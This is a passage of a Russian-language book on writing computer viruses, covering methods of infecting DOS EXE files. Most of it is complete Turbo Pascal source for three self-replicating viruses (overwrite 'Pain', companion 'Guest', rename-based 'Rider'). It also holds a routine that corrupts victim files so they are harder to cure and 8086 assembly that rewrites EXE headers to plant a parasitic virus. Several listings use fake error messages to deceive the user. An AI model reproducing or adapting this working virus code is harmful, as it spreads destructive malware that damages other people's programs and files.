Текст книги "Создаем вирус и антивирус"
Автор книги: Игорь Гульев
Жанр:
Программирование
сообщить о нарушении
Текущая страница: 2 (всего у книги 15 страниц) [доступный отрывок для чтения: 6 страниц]
Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.
Способы заражения EXE-файлов
Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы, замещающие программный код (Overwrite)
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$M 2048, 0, 0}
{$A−}
{$B−}
{$D−}
{$E+}
{$F−}
{$G−}
{$I−}
{$L−}
{$N−}
{$S−}
{$V−}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!’;
{Длина получаемого при компиляции EXE−файла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
InfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
VirIdentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
{Еще одна файловая переменная – хотя без нее можно было
обойтись, так будет понятнее}
Target: File;
{Для имени найденного файла}
TargetFile: PathStr;
{Буфер для тела вируса}
VirBuf : Array [1.VirLen] of Char;
{Для даты/времени файла}
Time : LongInt;
{Счетчик количества инфицированных файлов}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{Инициализация}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{Обнуляем счетчик количества инфицированных файлов}
InfFiles:=0;
{Связываем файловую переменную VirBody с именем программы,
из которой стартовали}
Assign(VirBody, ParamStr(0));
{Открываем файл с recsize=1 байту}
Reset(VirBody, 1);
{Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody, VirBuf, VirLen);
{Закрываем файл}
Close(VirBody);
end;
{Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
{Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
{Пока будем считать, что вируса нет}
VirusPresent:=False;
{Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
{Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
{Считываем 5 байт – если файл уже заражен,
там находится метка вируса}
BlockRead(Target, VirIdentifier, 5);
If VirIdentifier=VirLabel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
{Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
{Инициализируемся}
Init;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn(’Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.
Инфицирование методом создания COM-файла спутникаСмысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.
4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.
6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим методом.
{$M 2048, 0, 0}
{$A−}
{$B−}
{$D−}
{$E+}
{$F−}
{$G−}
{$I−}
{$L−}
{$N−}
{$S−}
{$V−}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Guest’;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
InfCount=2;
Var
{Для имени найденного файла}
TargetFile : PathStr;
{Для создания копии}
TargetCOM : PathStr;
{Счетчик количества заражений}
InfFiles : Byte;
DirInfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String;
{Для цикла For}
I: Byte;
{Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
но с расширением COM}
Assign(Target, TargetCOM);
Reset(Target, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;
{Открыли – закроем}
Close(Target);
end;
end;
{Собственно процедура заражения}
procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{С помощью командного процессора
копируем вирусный код в COM−файл}
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’
’+TargetCOM+’ >NUL’);
SwapVectors;
{Увеличиваем на единицу счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
begin {начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=’ ’;
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For I:=1 To ParamCount Do
Parms:=Parms+’ ’+ParamStr(I);
{Ищем жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;
{Ищем файл с именем стартового файла, но с расширением EXE}
FindFirst(TargetFile, AnyFile, DirInfo);
{Если такой файл найден, запускаем его на выполнение}
If DosError=0 Then
begin
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);
SwapVectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений}
begin
WriteLn(#13#10, VirName, ’ by ’,Author);
WriteLn(’Какое−нибудь сообщение’);
end;
end.
Инфицирование методом переименования EXE-файлаОтличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).
4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.
5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).
10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.
11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,
High Heap Limit 0b }
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
Fail=’Cannot execute ’#13#10’Disk is write−protected’;
{Расширения файлов, которые будем использовать}
Ovr=’.OWL’;
Ovl=’.OVL’;
Exe=’.EXE’;
Var
DirInfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
{Процедура для проверки диска на Read Only}
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If IOResult <> 0 Then
{Если диск защищен от записи, то ответ ’Access denied’}
begin
WriteLn(Fail);
Halt(5);
end;
end;
{Процедура прогонки оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, DirInfo);
If DosError <> 0 Then
{Если не нашли}
begin
WriteLn(’Virus RIDER. Let’s go on riding!’);
WriteLn(’I beg your pardon, your infected file cannot be executed.’);
{Выход с DosError=Файл не найден}
Halt(18);
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в EXE}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
{И запускаем его}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);
SwapVectors;
{А теперь возвращаем все на место}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
{Процедура заражения}
procedure Infect;
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile;
begin
{В текущем каталоге ищем EXE−файл}
FindFirst(’*.EXE’, AnyFile, DirInfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя жертвы}
Victim:=DirInfo.Name;
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)–4);
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure Init;
begin
{Командная строка}
CmdLine:=’’;
{Полное имя нашей программы}
OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);
For I:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(I)+’ ’;
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ’ ’);
end;
{Инициализируемся}
Init;
{Проверка диска на R/O}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение EXE-файловСтандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE−файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21h
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx,Handle
xor cx,cx
xor dx,dx
int 21h
;Сохраним полученную длину файла
mov Reallen,dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE−файла
push dx
push ax
;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток
CompareOVL:
mov cx,0200h
div cx
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.
;Значения констант, используемых в программе,
;равны смещению соответствующего
;элемента в заголовке EXE−файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss,ax
mov ax,[si+ExeSP]
mov oldsp,ax
mov ax,[si+ReloCS]
mov oldcs,ax
mov ax,[si+ExeIP]
mov oldip,ax
;Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
;Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE – длина тела вируса
adc dx,0
;Рассчитаем получившуюся длину (одна страница – 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div cx
or dx,dx
jz new_len
inc ax
New_len:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx,Reallen+2
mov ax,Reallen
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div cx
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE−файл
sub ax,[si+HdrSize]
;Запишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExeIP],dx
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо ”mov ax,ANYDATA” придется делать так:
; mov si,VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
mov [si+ReloSS],ax
mov ax,VIRSIZE+100h
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateFile:
;Запишем тело вируса
WriteBody:
;Установим указатель чтения/записи в конец файла
mov bx,Handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Запишем тело вируса в файл
mov ah,40h
mov cx,VIRSIZE
mov dx,offset VIRStart
int 21h
;Запишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx,si
int 21h
Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE:
StackBack:
;Установим первоначальный указатель (сегмент и смещение) стека
mov ax,ds
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
;Установим сегмент стека (PSP+10h+OldSS)
mov ss,ax
;Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
;Разрешим прерывания – опасный участок пройден
sti
;Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
;Рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax,DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret